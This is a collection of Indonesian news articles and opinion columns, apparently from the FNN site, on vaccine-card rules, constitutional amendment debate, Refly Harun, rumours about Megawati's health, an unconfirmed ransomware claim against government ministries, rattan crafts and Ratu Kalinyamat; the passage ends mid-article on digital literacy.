Oleh Sugengwaras *) Tidak perlu diperdebatkan lagi, meskipun 11 -- 12 makna yang tersurat dan tersirat antara vaksin dan imun, dimana esensinya vaksin merupakan upaya penangkalan atau pencegahan yang sifatnya memberikan kekebalan tubuh seseorang, yang diberikan dari luar tubuh, bisa melalui suntikan atau cara lain, sehingga didalam tubuh seseorang itu memiliki kekebalan terhadap penyakit, endemi atau pandemi tertentu, pada situasi, kondisi dan batas tertentu. Sedangkan imun adalah kekebalan pada situasi, kondisi dan batas tertentu yang telah dimiliki oleh / dalam tubuh seseorang tanpa atau belum / tidak divaksinasi. Sesuai prokes yang berlaku, maka siapapun yang diketahui / diperiksa menunjukkan tanda pada 37, 5 ° dinyatakan tidak boleh melanjutkan aktivitasnya dan harus ditangani secara khusus. Maka upaya pemerintah mengakselerasi vaksinasi ke seluruh kawasan termasuk ke pelosok pelosok layak diacungi jempol Namun ada yang perlu dikoreksi atas kebijaksanaan implementasi vaksinasi yang dirasakan kebablasan, tidak tepat dan mengada-ada. Contoh kecil, ditolak atau dilarangnya seseorang masuk wilayah kawasan tertentu karena tidak bisa menunjukkan kartu vaksin. Konkritnya di kawasan wisata Kawah Tangkuban Perahu di Lembang, Bandung, Jawa Barat. Beberapa hari sebelumnya saya memperoleh informasi kawasan tersebut sudah dibuka kembali untuk umum. Maka hari Sabtu kemarin, yang kebetulan ada keluargaku dari Surabaya kuajak jalan jalan ke kawasan wisata Tangkuban Perahu, Lembang. Singkat cerita, setibanya di gapura masuk, mobil yang kutumpangi 4 orang dihentikan petugas untuk pemeriksaan / pembelian tiket masuk. Hal ini saya anggap seperti biasanya / waktu-waktu sebelumnya, namun ada yang tidak seperti biasanya adalah pertanyaan dari petugas tentang kartu vaksin. Secara kebetulan dua orang familiku dari Surabaya ada / mempunyai kartu vaksin, sedangkan saya dan isteri belum punya kartu vaksin. Untuk kelancaran mobil pengunjung berikutnya sopir saya suruh meminggirkan mobil ke tempat yang aman, sementara saya bersama isteri mendatangi pos petugas. Sesampainya di pos petugas, saya dan isteri diperiksa, menunjukkan angka 35,5 dan 35,6 Terus gimana?T anyaku santai sambil senyum ke petugas, dibalas senyum juga oleh petugas, tapi tidak menjawab pertanyaanku. Karena tidak dijawab, saya tanya lagi dengan pertanyaan yang berbeda. Anda periksa dan melihat sendiri, saya bersama isteri pada posisi aman, tidak sampai 37,5, apa yang anda pikirkan? Sebaliknya jika Anda memeriksa kepada pengunjung lain yang mempunyai kartu vaksin, namun hasil pemeriksaan pada posisi 37, 6 apa yang Anda perbuat? Mana yang lebih baik, jika ada seseorang tidak punya / tidak memiliki kartu vaksin , kondisi saat itu menunjukkan pada posisi aman sedangkan pengunjung lain memiliki kartu vaksin tapi kondisi saat itu pada posisi tidak aman. Jika Anda berpedoman pada punya atau tidak punya kartu vaksin, pasti Anda akan melarang masuk yang tidak memiliki kartu dan membolehkan masuk bagi pengunjung yang memiliki kartu vaksin, meskipun kondisinya saat itu tidak aman. Oleh karenanya pemerintah harus meninjau kembali, atas kebijakannya mempersyaratkan kartu vaksin untuk keperluan beberapa hal. Jangan terulang kejadian yang memperketat aturan Covid-19 hanya diperuntukkan kepada warga negara sendiri, justru memberi keringanan / kelonggaran kepada warga asing yang masuk ke Indonesia. Kesimpulannya, jika hanya untuk kepentingan dalam wilayah NKRI, persyaratan kartu vaksin sebaiknya tidak mutlak bagi WNI, namun jika pergi keluar negeri, kita perlu menyesuaikan. Perlu dipahami, bahwa tidak semua orang akan merasa aman atau tentram divaksin, justru tidak sedikit yang merasa terpaksa menerima vaksin karena kekhawatiran terhadap efek samping kini atau di masa mendatang di satu sisi serta guna memenuhi sebagai persyaratan dalam berbagai urusan di sisi lain, yang bisa mengganggu ketenangan jiwanya, meskipun telah dipahamkan, secara keilmuan justru vaksinasi bermanfaat bagi kesehatan jasmaninya. Maka, sekali lagi, perlu dipertimbangkan dalam hal pemaksaan vaksin terhadap WNI, karena mau tidak mau divaksin adalah hak warga negara yang pada hakekatnya juga Hak Asasi Manusia, yang mendambakan ketenteraman dan kenyamanan lahir batin dalam hidupnya. *) Purnawirawan TNI AD

Rocky Gerung : Amandemen Seperti Renovasi Rumah yang Bikin Kegerahan

Jakarta, FNN - Pengamat kebangsaan, Rocky Gerung menganalogikan rencana amandemen UUD sebagai program renovasi rumah yang membuat pemilik rumah tidak nyaman. Hal itu merujuk pada suara penolakan yang mencuat atas isu yang bergulir dari Majelis Permusyawaratan Rakyat (MPR) tersebut. Menurut Rocky, percuma ada amandemen jika malah membuat rakyat kegerahan. Karena itu, amandemen semestinya diarahkan untuk perombakan total kehidupan kebangsaan. Tidak parsial pada rencana Pokok Pokok Haluan Negara (PPHN) semata. Apalagi dikaitkan dengan isu penambahan periode kepemimpinan dan masa jabatan Presiden yang diinginkan segelintir elit. Rocky menyebut berbagai masalah kebangsaan justru dipendam. Kejahatan bahkan dikunci rapat, seperti kisah klasik kotak pandora. Ia mencontohkan posisi Dewan Perwakilan Daerah (DPD) yang saat ini justru tidak diberi peran. “Padahal DPD ini suara paling murni dari rakyat. Dia tidak diedit. Tidak diiintervensi dan diatur-atur (oleh parpol). Semestinya, DPD yang mengatur MPR,” terangnya. Kritik Rocky terhadap rencana amandemen disampaikan dalam diskusi publik bertajuk “Presiden Perseorangan, Presidential Threshold, dan Penataan Kewenangan DPD”, Jumat (10/9) di Tangerang. Selain Rocky, sederet tokoh penting hadir dalam diskusi yang digelar oleh Kelompok DPD di MPR tersebut. Antara lain, ekonom senior Rizal Ramli, Senator DPD RI Tamsil Linrung, pakar hukum Refly Harun, dan aktivis HAM Natalius Pigai dan Gregerius Seto Hartanto. Dalam sambutannya, Ketua Kelompok DPD di MPR, Tamsil Linrung menyampaikan kegundahan rakyat. Menurutnya, masyarakat justru mempertanyakan jika isu amandemen yang bergulir dikaitkan dengan penambahan periode ketiga jabatan presiden, atau perpanjangan masa jabatan presiden merujuk pada isu penundaan pemilu. Menurut politisi senior ini, agak aneh jika ada niat perpanjangan jabatan presiden. Sementara tidak ada indikator keberhasilan pemerintah yang diapresiasi rakyat, meski telah diberi waktu lebih dari satu periode. Yang logis malah, pemerintah bisa saja ada yang meminta berhenti di tengah jalan karena dianggap telah gagal, seperti sering disuarakan publik. Merespons upaya DPD mendorong kontestasi elektoral yang lebih kompetitif, pakar hukum Refly Harun menguraikan salah satu alasan mendasar pemilihan presiden secara langsung oleh rakyat. Yaitu menghilangkan trauma pada masa Orde Baru dimana jumlah calon dibatasi sedemikian rupa. Capres hanya itu-itu saja. Menurut Refly, dengan membuka kran yang seluas-luasnya, maka republik dapat menjaring putra terbaik bangsa. Karena itu, ia mengapresiasi upaya mendorong presidential threshold nol persen, atau diturunkan dari ambang batas 20 persen yang berlaku saat ini. Senada, ekonom senior yang juga aktif bersuara tentang presidential threshold, Rizal Ramli melontarkan perspektif kritis terhadap sistem pemilu yang hanya menghasilkan pemimpin karbitan. “Dibiayai oleh orang-orang kaya, oleh cukong dan bandar. Akibatnya, ketika terpilih, harus tunduk dan mengabdi mengikuti mereka dibandingkan memperhatikan kepentingan rakyat,” ujarnya. Hal serupa, menurut Rizal, juga terjadi di level partai politik yang tadinya diharapkan menjadi medium seleksi kepemimpinan dan kaderisasi. “Sumbangan kepada partai politik tidak pernah di audit dan tidak ada transparansi. Sistem kita ini seperti diijon, sehingga pembangunan ekonomi hanya untuk membiayai para cukong,” terang mantan Menteri Koordinator Kemaritiman ini. Aktivis dan mantan komisioner Komnas HAM, Natalius Pigai berpendapat bahwa sistem pemilu saat ini belum merefleksikan keseriusan negara dalam menegakkan hak asasi manusia. Hal itu lantaran sistem perwakilan yang diterapkan tidak representatif sehingga sebagian besar masyarakat tidak terwakili aspirasinya dalam kebijakan-kebijakan politik. Anggota Komisi Kajian Ketatanegaraan (K3) MPR, Gregerius Seto Hartanto menyatakan, amandemen merupakan keputusan hukum, namun harus ditempuh dengan konsensus politik. DPD sebagai unsur politik elementer di MPR, dapat berperan strategis dalam isu amandemen UUD. (JD)

Bersyukur Ada Refly

Oleh Ady Amar *) IA berdiri tegak bicara keadilan hukum. Sikapnya itu tegas dan bahkan tergolong berani. Tentu tidak asal berani, tapi berani yang punya dasar, punya pijakan yang jelas. Ia adalah Dr. Refly Harun, pakar Hukum Tata Negara. Awalnya Refly masuk bagian dari rezim Jokowi. Saat itu orang menyebut pantas ia diganjar sebagai Komisaris Utama (Komut) PT Jasa Marga. Meski demikian, Refly tetap dengan komentar kritis, jika masalah hukum tidak berdasar pada keadilan atau ada kebijakan yang tidak tepat. Karenanya, ia diberhentikan sebagai komut itu. Banyak pihak yang menertawakan pencopotannya, lalu ia diangkat lagi sebagai Komisaris Utama Pelindo I. Tetap saja ia sulit diam, tetap kritis, maka dicopotlah secopot-copotnya selamanya, dianggap ia bukan bagian dari rezim. Itulah pilihan Refly, memilih agar tidak terkotori oleh jabatan yang menempel di pundaknya. Ia tampak tidak silau pada jabatan yang mendatangkan nilai nominal tidak kecil, tapi justru silau jika lihat keadilan tidak ditegakkan selayaknya. Ia mengkritisi keras jika hukum diinjak oleh kepentingan politik kekuasaan. Dicopot dari komut, itu makin membuatnya bebas berselancar dengan mainan barunya di dunia YouTube. Subscribernya tidak kurang dari 1,5 juta, yang terus hadir memberi pencerahan publik pada masalah hukum dan politik sehari-hari yang muncul di masyarakat. Tampil selalu mencerahkan, mengajak publik melihat hukum dalam perspektif yang benar. Ia beri pemahaman yang jelas pada kasus yang muncul, dan menganalisanya dengan tajam dan kritis. Bicaranya runtut, enak didengar, dan kelebihannya lainnya kalimat yang digunakan bisa difahami followers- nya pada semua lapisan. Itu setidaknya kelebihan Refly. Ia mendidik publik tentang hukum, tapi tidak tampak menggurui, atau sok merasa paling pintar. Biasanya kasus-kasus hukum paling populer diambilnya dari media cetak atau online, lalu dikomentarinya dengan pijakan hukum yang benar. Bahasan yang dipilih, lebih pada kasus hukum yang ditelikung kepentingan kekuasaan, itu jadi konsen untuk dibahasnya. Publik diberi kesadaran, bahwa ada yang salah dalam penerapan hukum, dan selanjutnya penjelasan meluncur dari mulutnya. Sikapnya itu menjadikan publik menyambut kemunculan Refly penuh harap, dan tidaklah berlebihan jika lalu muncul pernyataan, "Untung Ada Refly". Itu pernyataan publik sejujurnya, melihat sulitnya mencari sosok semacamnya, yang berdiri kokoh menyuarakan suara hukum dan keadilan. Adakah sosok lain yang sekiranya lebih pintar darinya, yang menyamainya dalam perspektif hukum. Pastilah ada juga yang menyamainya, tapi yang memilih di barisan kritis pada penguasa yang sewenang-wenang menelikung hukum, rasanya belum tampak. Justru banyak koleganya lebih memilih berasyik masyuk bersama penguasa. Di samping Habib Rizieq Refly Harun hadir di Pengadilan Negeri (PN) Jakarta Timur, diminta oleh pengacara Habib Rizieq Shihab sebagai Saksi Ahli, itu dalam kasus swab RS UMMI. Dan Refly hadir memberi keterangan sesuai kepakarannya, dan disumpah untuk bicara yang sebenarnya. Refly bicara apa yang dipahaminya, seolah dengan jelas ia mengatakan, bahwa Habib Rizieq adalah pihak yang tidak pantas untuk dihukum. Bahkan pada kesempatan lain, ia berujar bahwa jangankan dihukum dihadirkan di pengadilan saja ia tidak pantas. Maka, Refly jadi sosok yang menyikapi ketidakadilan hukum yang dikenakan pada Habib Rizieq dengan lantang, dan dengan argumen bahwa hukum tidak tebang pilih, hukum mestilah rasional. Karenanya, hukum itu dikenakan pada semua pihak, bukan hanya pihak tertentu yang disasar dengan akrobat hukum, sehingga hukum menjadi tidak rasional. Maka perlakuan hukum yang diada-adakan dalam kasus hukum Habib Rizieq ditentangnya dengan argumen hukum yang sulit terbantahkan. Ia tanpa tedeng aling-aling menyatakan penerapan hukum itu salah, meski menyasar pada penguasa, yang tidak bersandar pada hukum. Pengadilan pada Habib Rizieq kasat mata memang untuk mengandangkan ulama satu ini, bahkan sampai pasca Pilpres 2024, itu yang juga kerap disampaikan Refly. Katanya, bagaimana mungkin orang menyatakan diri sehat, karena merasa diri sehat, itu mesti dihukum. Dan hukuman yang dikenakan pada Habib Rizieq, itu hukuman tidak main-main, 4 tahun penjara. Zalim. Sikap Refly Harun, dalam masalah hukum khususnya, tentulah bukan sikap berseberangan dengan penguasa. Mustahil ia mampu mengoreksi kebijakan hukum salah dari penguasa, itu jika tidak ditemukan kesalahan penerapan hukum. Kekritisannya adalah buah dari kesalahan penerapan hukum, dan atau hukum tidak lagi jadi panglima, atau hukum berada di ketiak penguasa, maka Refly hadir berdasar tidak saja kepakaran yang dipunya tapi juga moralnya, untuk mengoreksi itu semua. Refly Harun seolah tidak capai-capai mengingatkan, bahwa hukum itu untuk semua, dan karenanya ia distempel sebagai oposan. Itulah risiko yang diambilnya, langkah-langkah yang pastilah amat disadarinya. Itu pula konsekuensi atas sikap-sikapnya, yang terus menyuarakan keadilan hukum di tengah masyarakat. Sungguh patut bersyukur, negeri ini masih punya Refly Harun... (*) *) Kolumnis

Netizen: “Seharusnya Jujur Saja, Bu Mega Ditampilkan Apa Adanya!”

Oleh: Mochamad Toha SEORANG netizen yang dekat dengan keluarga Megawati Soekarnoputri menulis status di akun Facebook-nya tentang kondisi Ketum DPP PDIP tersebut yang dikabarkan sakit. “Ibu Mega dikabarkan sakit,” tulisnya, Sabtu (Yesterday at 9:06 AM). Namun, lanjutnya, kabar itu dibantah ngalor ngidul, sehingga telah melahirkan persepsi bias. “Seharusnya jujur saja dan Bu Mega ditampilkan apa adanya. Pasti semua beres. Begitu saja kok dibuat muter-muter,” demikian isi status Facebook-nya. Untuk menepis rumor yang berkembang di masyarakat, beberapa elit PDIP sudah klarifikasi. Termasuk Sekjen DPP PDIP Hasto Kristiyanto yang mengabarkan bahwa keadaan Megawati dalam kondisi sehat dan melakukan aktivitas sehari-hari. Bahkan, PDIP kemudian memunculkan video aktivitas Megawati secara daring dalam acara PDIP, seolah menepis kabar tentang keberadaan Megawati yang saat itu sempat dilarikan ke Rumah Sakit Pusat Pertamina (RSPP) di Jakarta. Padahal, sumber FNN yang dihubungi Kamis malam (9/9/2021), membenarkan keberadaan Megawati yang saat itu memang sedang dirawat di RSPP. “Saya sudah tanyakan ke elit PDIP yang membenarkan kabar Bu Mega di RSPP,” ujarnya. Sebagai mantan presiden, yang perlu dicatat, Megawati masih punya hak istimewa. Jadi kalau dia sakit atau sehat, harus ada statement dari Istana (Presiden Joko Widodo). Tapi, tampaknya sampai detik ini belum ada pernyataan dari Istana. Sehingga, rakyat pun semakin penasaran dengan kondisi Megawati sebenarnya. Saya melihat ini sebagai satu permainan dengan motif yang bertujuan untuk menjerat musuh-musuh PDIP. Mereka sedang test the water. Menguji loyalitas! Ketika muncul untuk menjawab spekulasi tentang dirinya, Megawati menyatakan, dirinya berada dalam kondisi sehat walafiat. Ia juga menyampaikan terima kasih atas perhatian dan doa kepadanya. “Alhamdulillah saya dalam keadaan sehat walafiat, tidak kurang satu apa pun dan terima kasih atas perhatiannya dan doanya,” kata Megawati dalam acara pembukaan Pendidikan Kader Madya PDI-P, Jumat (10/9/2021). Megawati mengaku tidak habis pikir dengan kabar yang menyebutkan dirinya sedang dirawat karena sakit. Sebelumnya beredar kabar Megawati mengalami sakit parah hingga masuk ICU RSPP banyak menimbulkan argumentasi. Mantan Juru Bicara Presiden Abdurrahman Wahid, Adhie M. Massardi menyebut isu tersebut sebagai cek ombak. Ia mencontohkan kabar sakitnya Pemimpin Korea Utara, Kim Jong Un yang diduga sebagai drama untuk memetakan loyalisnya yang senang dan yang sedih. Dijelaskan oleh Adie M. Massardi, cek ombak politik tersebut sebagai strategi memilah mana yang senang dan mana yang sedih. Para pemimpin komunis kadang-kadang bikin drama sakit parah atau bahkan mati. “Para agen lalu pantau, bikin pemetaan: siapa senang siapa sedih. Eh tiba-tiba sang pemimpin nongol. Lalu bikin langkah bersih-bersih sikat sana, sikat sini. Begitulah gaya mereka,” tutur Adie M. Massardi, seperti dilansir Gelora.co, Jum’at (10/9/2021). Direktur The Global Institute Hendrajit menyebut, kalau ada berita hoax yang ditujukan pada seseorang, namun kemudian dibantah oleh orang yang jadi sasaran hoax, bisa kebaca kok apa memang benar dia korban berita hoax. “Atau berita hoax tersebut malah bersumber dari pihak si korban itu sendiri,” tegas Hendrajit. Artinya, yang bikin hoax dia sendiri, yang ngebantah dia-dia juga. Kalau dalam Pola Perang Asimetris ini namanya Testing the Water. Berarti isu berhenti cuma sekadar isu saja. Menurut Hendrajit, dalam pola perang asimetris yang lebih baku, melontarkan isu bisa jadi salah satu tahapan awal menuju langkah selanjutnya, menggulirkan sebuah tema atas dasar isu yang berkembang. “Tujuannya, agar skema atau hajatan pihak tertentu bisa terwujud. Makanya itu disebut Isu, Tema, atau Skema,” ungkap Hendrajit. Yang perlu dicatat, di Banteng itu ada 3 faksi besar: faksi Emak (Megawati), faksi Ompung (Joko Widodo), dan faksi Netral. Faksi emak itu ada Puan Maharani Cs. Faksi ompung ada Jokowi Cs, dan faksi Netral itu faksi oportunis, termasuk Ganjar Pranowo. Ada banyak informasi terkait keberadaan Megawati yang masuk. Namun, agar tidak disebut sebagai hoaks, lebih baik tidak dimunculkan dulu. Penulis adalah Wartawan FNN.co.id

CISSReC Perlu Cek Kebenaran Thanos Serang Sejumlah Kementerian/Lembaga

Semarang, FNN - Lembaga Riset Siber Indonesia CISSReC memandang penting melakukan pengecekan terkait dengan kebenaran informasi peretasan terhadap 10 kementerian dan lembaga di Tanah Air dengan menggunakan private ransomware (perangkat pemeras) bernama Thanos. "Bisa saja ini baru klaim sepihak. Oleh karena itu, perlu menunggu buktinya seperti pada kasus e-HAC Kemenkes beberapa waktu lalu," kata Ketua Lembaga Riset Siber Indonesia CISSReC Dr. Pratama Persadha melalui percakapan WhatsApp kepada ANTARA di Semarang, Minggu. Pakar keamanan siber ini mengemukakan hal itu terkait dengan informasi yang menyebutkan bahwa Mustang Panda Group, peretas asal Tiongkok, melakukan peretasan terhadap sejumlah kementerian/lembaga dengan menggunakan private ransomware bernama Thanos. Kalau mereka sudah share bukti peretasannya seperti data dan biasanya upaya perusakan situs web (deface situs web), menurut Pratama, baru bisa menyimpulkan kebenaran terjadi peretasan. Apalagi, kesepuluh kementerian/lembaga mana saja yang diretas masih belum jelas. Namun, bila ini spionase antarnegara, menurut dosen pascasarjana Sekolah Tinggi Intelijen Negara (STIN) ini, memang bukti akan lebih sulit untuk didapatkan karena motifnya bukan ekonomi maupun popularitas. Dikatakan pula bahwa hal ini tetap bagus sebagai trigger (pemicu) semua kementerian/lembaga pemerintah di Indonesia untuk mulai mengecek sistem informasi dan jaringannya. "Lakukan security assessment di sistemnya masing-masing. Perkuat pertahanannya, upgrade sumber daya manusianya, dan buat tata kelola pengamanan siber yang baik di institusinya masing-masing," kata pria asal Cepu, Kabupaten Blora, Jawa Tengah ini. Pada pertengahan 2020, kata Pratama, juga terjadi isu serupa di lingkungan Kemenlu dan beberapa BUMN. Saat itu ada warning dari Australia bahwa email salah satu diplomat Indonesia mengirimkan malware aria body ke email salah satu pejabat di Australia Barat. Menurut dia, email dari diplomat Indonesia sudah berhasil diambil alih oleh peretas, yang diperkirakan kelompok Naikon asal Tiongkok. Namun, hal ini juga belum diketahui persis hanya email saja atau sampai perangkat yang diretas. "Masalahnya, banyak malware yang dibuat dengan tujuan menyamai kemampuan malware pegasus yang bisa melakukan take over smartphone," katanya. Pratama memandang perlu melakukan deep vulnerability assessment atau kerentanan terhadap sistem yang mereka miliki, serta melakukan penetration test (tes penetrasi) secara berkala untuk mengecek kerentanan sistem informasi dan jaringan. Ia juga menganjurkan menggunakan teknologi honeypot. Ketika terjadi serangan, hacker (peretas) akan terperangkap pada sistem honeypot ini sehingga tidak bisa melakukan serangan ke server yang sebenarnya. Selain itu, perlu memasang sensor cyber threats intelligence untuk mendeteksi malware atau paket berbahaya yang akan menyerang ke sistem. Menurut dia, yang paling penting adalah membuat tata kelola pengamanan siber yang baik dan mengimplementasikan standar-standar keamanan informasi yang sudah ada. Terkait dengan info peretasan terhadap 10 kementerian/lembaga, CISSReC telah mencoba melakukan profiling threat actor (membuat profil aktor ancaman). Dijelaskan pula bahwa Mustang Panda adalah hacker group yang sebagian besar anggota dari Tiongkok. Grup ini membuat private ransomware yang dinamakan Thanos. Ransomeware ini dapat mengakses data dan credential login pada device (perangkat) PC, kemudian mengirimkannya ke command and control (CNC), bahkan hacker bisa mengontrol sistem operasi target. "Private ransome Thanos mempunyai 43 konfigurasi yang berbeda untuk mengelabui firewall dan antivirus sehingga sangat berbahaya," katanya mengingatkan. Pratama menekankan bahwa Pemerintah segera melakukan segala langkah untuk mengetahui apakah tindak spionase ini terkait dengan konflik Laut China Selatan atau tidak. Pasalnya, dalam beberapa tahun terakhir tensi terkait dengan isu ini memang meningkat di kawasan Asia Tenggara. Ia lantas berharap semoga info terkait dengan hal itu menjadi momentum perbaikan keamanan siber di lembaga negara. (mth)

Perabotan Rotan Masih Diminati Warga Palembang

Palembang, FNN - Perabotan rumah tangga yang terbuat dari bahan rotan masih diminati warga Kota Palembang, Sumatera Selatan sehingga perajin rotan bisa bertahan hingga sekarang ini. Perajin sekaligus pemilik toko Aneka Jaya Rotan, Mukhtar di Palembang, Minggu, mengatakan, barang-barang rumah tangga terbuat dari rotan diminati warga kota ini karena memiliki bentuk yang unik dan cukup kuat. Barang atau perabotan rumah tangga berbahan rotan yang cukup banyak diminati mulai dari tudung saji, skat ruangan, kursi teras, sofa ruangan tamu, tongkat lansia, kursi balita untuk boncengan di sepeda motor, dan bentuk lainnya. Bentuk perabotan rumah tangga tersebut bisa disesuaikan dengan keinginan pemesan yang memiliki contoh disain. "Kami siap melayani pesanan perabotan rumah tangga dari bahan rotan dengan bentuk khusus sesuai dengan contoh yang diinginkan konsumen," ujarnya. Dia menjelaskan, barang-barang yang terbuat dari rotan tersebut dijual dengan harga bervariasi mulai Rp100.000 hingga Rp5 juta satu unitnya. Sebagai gambaran, harga tudung saji Rp120.000 per buah, skat ruangan tiga lipatan Rp750.000 dan empat lipatan Rp1 juta per unit, meja makan dengan empat kursi Rp2,2 juta/unit dan enam kursi Rp4,5 juta/unit. Kemudian kursi/sofa tamu Rp5 juta per unit, kursi teras rotan Rp150-300 ribu per buah, tongkat lansia Rp100.000/buah, kursi balita untuk boncengan di sepeda motor Rp120.000/buah, dan kursi bar Rp150.000/buah. Mengenai penjualan barang kerajinan rotan itu dalam kondisi pandemi COVID-19 masih cukup banyak meskipun terjadi sedikit penurunan omzet, kata pemilik toko di sentra kerajinan rotan di kawasan Pelabuhan Boom Baru Palembang itu. (mth)

MPR: Nilai Kepahlawanan Ratu Kalinyamat Jadi Teladan Anak Bangsa

Jakarta, FNN - Wakil Ketua MPR RI Lestari Moerdijat mengatakan nilai-nilai kepahlawanan Ratu Kalinyamat diharapkan mampu membangkitkan jiwa nasionalisme dan jadi teladan bagi anak bangsa untuk menjawab tantangan yang dihadapi saat ini dan masa datang. "Ide menjadikan Ratu Kalinyamat sebagai Pahlawan Nasional bermula dari sebuah paradigma berpikir historis untuk menghargai, menghormati jasa dan perjuangan Ratu Jepara yang pemikirannya jauh mendahului zamannya," kata Lestari Moerdijat dalam keterangannya di Jakarta, Minggu. Hal itu dikatakannya saat menjadi pembicara dalam acara Temu Pakar dengan tema "Ratu Kalinyamat: Perempuan Perintis Antikolonialisme 1549 -1579", di Semarang, Jawa Tengah, Sabtu (11/9). Dalam Temu Pakar itu Rektor Universitas Islam Nahdlatul Ulama Jepara Sa'dullah Assa'idi dan Ketua Tim Pakar Ratu Kalinyamat Ratno Lukito memberikan kata pengantar. Menurut Lestari, banyak sekali pemikiran Ratu Kalinyamat yang masih relevan untuk diterapkan di Indonesia yang terdiri dari ribuan pulau, antara lain ide poros maritim yang sudah dipraktikkan di masa memimpin Jepara. Dia juga menilai, kehadiran Ratu Kalinyamat saat memimpin perjuangan melawan penjajah Portugis, juga menunjukkan nilai-nilai bahwa perempuan Nusantara di masa itu memiliki peran yang sama dengan pria. "Pada kesempatan ini saya menyampaikan apresiasi mendalam atas ikhtiar selama 2,5 tahun dengan penuh ketekunan dari para pakar dalam menelusuri sejarah Ratu Kalinyamat hingga menemukan sumber-sumber primer," ujarnya. Lestari menjelaskan, selesainya kajian sejarah terkait Ratu Kalinyamat bukan akhir dari proses, melainkan merupakan babak baru dalam memperjuangkan Ratu Kalinyamat sebagai pahlawan nasional. Politisi Partai NasDem itu mengatakan dengan ditetapkannya Ratu Kalinyamat sebagai pahlawan nasional, diharapkan nilai-nilai nasionalisme yang ditunjukkan Ratu Jepara itu bisa menginspirasi anak bangsa dalam menjawab tantangan di masa datang. "Meski begitu, perlu dukungan para pemangku kepentingan baik dalam sosialisasi maupun pemenuhan aspek formal sesuai amanat UU Nomor 20 Tahun 2009, untuk mewujudkan Ratu Kalinyamat sebagai Pahlawan Nasional," katanya. Ketua Tim Pakar Ratu Kalinyamat Ratno Lukito mengatakan penemuan sumber primer terkait perlawanan Ratu Jepara terhadap Portugis membuktikan keberadaan Ratu Kalinyamat ini bukan mitos, bahkan terungkap perannya yang luar biasa hingga membuat Portugis sebagai lawan pun mengakuinya. Dia menjelaskan, di bawah pemerintahan Ratu Kalinyamat, strategi pengembangan Jepara lebih diarahkan pada penguasaan sektor perdagangan dan angkatan laut. "Kedua bidang ini berkembang baik karena adanya kerja sama dengan beberapa kerajaan maritim seperti Johor, Aceh, Maluku, Banten, dan Cirebon," katanya. Menurut dia, Ratu Kalinyamat dipandang sebagai simbol keteladanan dan sumber inspirasi atas tindakan yang tidak hanya sebatas pada ide tetapi juga aksi nyata dalam melakukan perlawanan terhadap Portugis di Malaka. (mth)

Literasi Digital Sebagai Langkah Mitigasi Hoaks dan Disinformasi

Jakarta, FNN - Saat ini, deretan kata yang ditinggalkan warganet di media sosial jauh lebih berbahaya ketimbang timah panas yang dilontarkan para tentara di tengah peperangan. Berbeda dengan peluru yang memiliki batasan jarak tempuh, ujaran warganet dapat menjangkau berbagai pihak di berbagai belahan penjuru dunia dengan mudah. Ketika ujaran yang ditinggalkan warganet sarat akan kebencian atau kebohongan, tidak jarang hal tersebut mengakibatkan konflik atau perpecahan dengan skala yang lebih besar. Ujaran kebencian menimbulkan isu-isu disintegrasi dan intoleransi, seperti yang saat ini sedang dialami masyarakat Indonesia. Yang lebih mengerikan, konflik tidak hanya diakibatkan permasalahan berupa perbedaan pandangan politik maupun kepercayaan yang dianut. Bahkan, hal-hal yang menyangkut hobi dan selera, seperti perbedaan idola yang disukai dapat menimbulkan konflik yang menyerang ranah pribadi masing-masing. Korban dari konflik tersebut merupakan anak di bawah umur. Direktur Jenderal Informasi dan Komunikasi Publik (IKP) Kementerian Komunikasi dan Informatika Usman Kansong mengatakan perkembangan teknologi digital dan akses informasi menjadi tantangan bagi Indonesia. Pemerintah harus memikirkan cara terbaik untuk menanggulangi hoaks, ujaran kebencian, dan perilaku intoleran yang kini sedang marak terjadi di media sosial. Para pengguna yang tidak mengenal batas umur menjadi salah satu tantangan pemerintah. Maraknya konten-konten bernuansa negatif serta reaksi warganet yang memperburuk keadaan diakibatkan kurangnya keterampilan masyarakat Indonesia di dunia digital. Oleh karena itu untuk menjawab tantangan perkembangan teknologi digital dan kebebasan akses informasi, pemerintah berupaya untuk meningkatkan literasi digital masyarakat. Literasi Digital Usman Kansong mendefinisikan literasi digital sebagai pengetahuan dan kecakapan seseorang untuk menggunakan media digital, alat-alat komunikasi atau jaringan, dalam menemukan, mengevaluasi, menggunakan, membuat informasi, dan memanfaatkannya secara sehat, bijak, cerdas, cermat, tepat, serta patuh hukum untuk membina komunikasi dan berinteraksi dalam kehidupan sehari-hari. Ia meyakini literasi digital dapat menjadi pertahanan terdepan masyarakat untuk menyeleksi informasi yang berpotensi memberi dampak negatif dari penggunaan media sosial. Literasi digital diharapkan dapat menjadi acuan bagi pengguna media sosial untuk memilah dan memilih informasi, seperti informasi apa yang dibutuhkan dan informasi apa yang tidak dibutuhkan. Untuk meningkatkan literasi digital, pemerintah meluncurkan Program Transformasi Digital, yang salah satu kebijakannya mengembangkan sumber daya manusia (SDM) atau talenta digital. Kebijakan pengembangan SDM memuat tiga pelatihan kecakapan digital, yakni Gerakan Literasi Digital Nasional, Digital Talent Scholarship, dan Digital Leadership Academy. Direktur Pemberdayaan Informatika Direktorat Jenderal Aplikasi Informatika Kementerian Komunikasi dan Informatika Boni Pudjianto mengatakan Gerakan Literasi Digital Nasional yang dikenal dengan Siberkreasi, merupakan program pelatihan keterampilan digital yang sangat mendasar dan menargetkan 12,5 juta masyarakat Indonesia untuk bergabung dalam program tersebut. Dalam melakukan Gerakan Literasi Digital Nasional, Kemenkominfo melibatkan sekitar 110 pemangku kepentingan yang berasal dari berbagai elemen masyarakat, seperti pemerintah, swasta, hingga LSM. Ia berharap pada tahun 2024 setidaknya terdapat 50 juta masyarakat Indonesia telah menguasai literasi digital. Berbeda dengan Gerakan Literasi Digital Nasional yang menargetkan masyarakat Indonesia secara umum, pelatihan kecakapan digital melalui Digital Talent Scholarship ditujukan kepada lulusan sekolah menengah atas (SMA) dan perguruan tinggi untuk mengasah keterampilan dan kapasitas digital mereka. Intensitas pelatihan Digital Talent Scholarship lebih tinggi daripada Gerakan Literasi Digital Nasional. Peserta akan diperkenalkan pada kecakapan-kecakapan baru di era digital, seperti kecerdasan buatan (artificial intelligence / AI), data besar (big data), realitas virtual (virtual reality / VR), dan keterampilan teknis lainnya. Pelatihan ini menargetkan 100.000 lulusan baru di setiap tahunnya. Selanjutnya adalah program Digital Leadership Academy (DLA) yang ditujukan untuk mempersiapkan para pemimpin di era digital dengan keterampilan teknologi tingkat lanjut. Melalui program ini, pemerintah menargetkan 300 pemimpin dari sektor publik maupun swasta. Ketiga program tersebut bertujuan untuk mempersiapkan SDM Indonesia menghadapi tantangan perkembangan 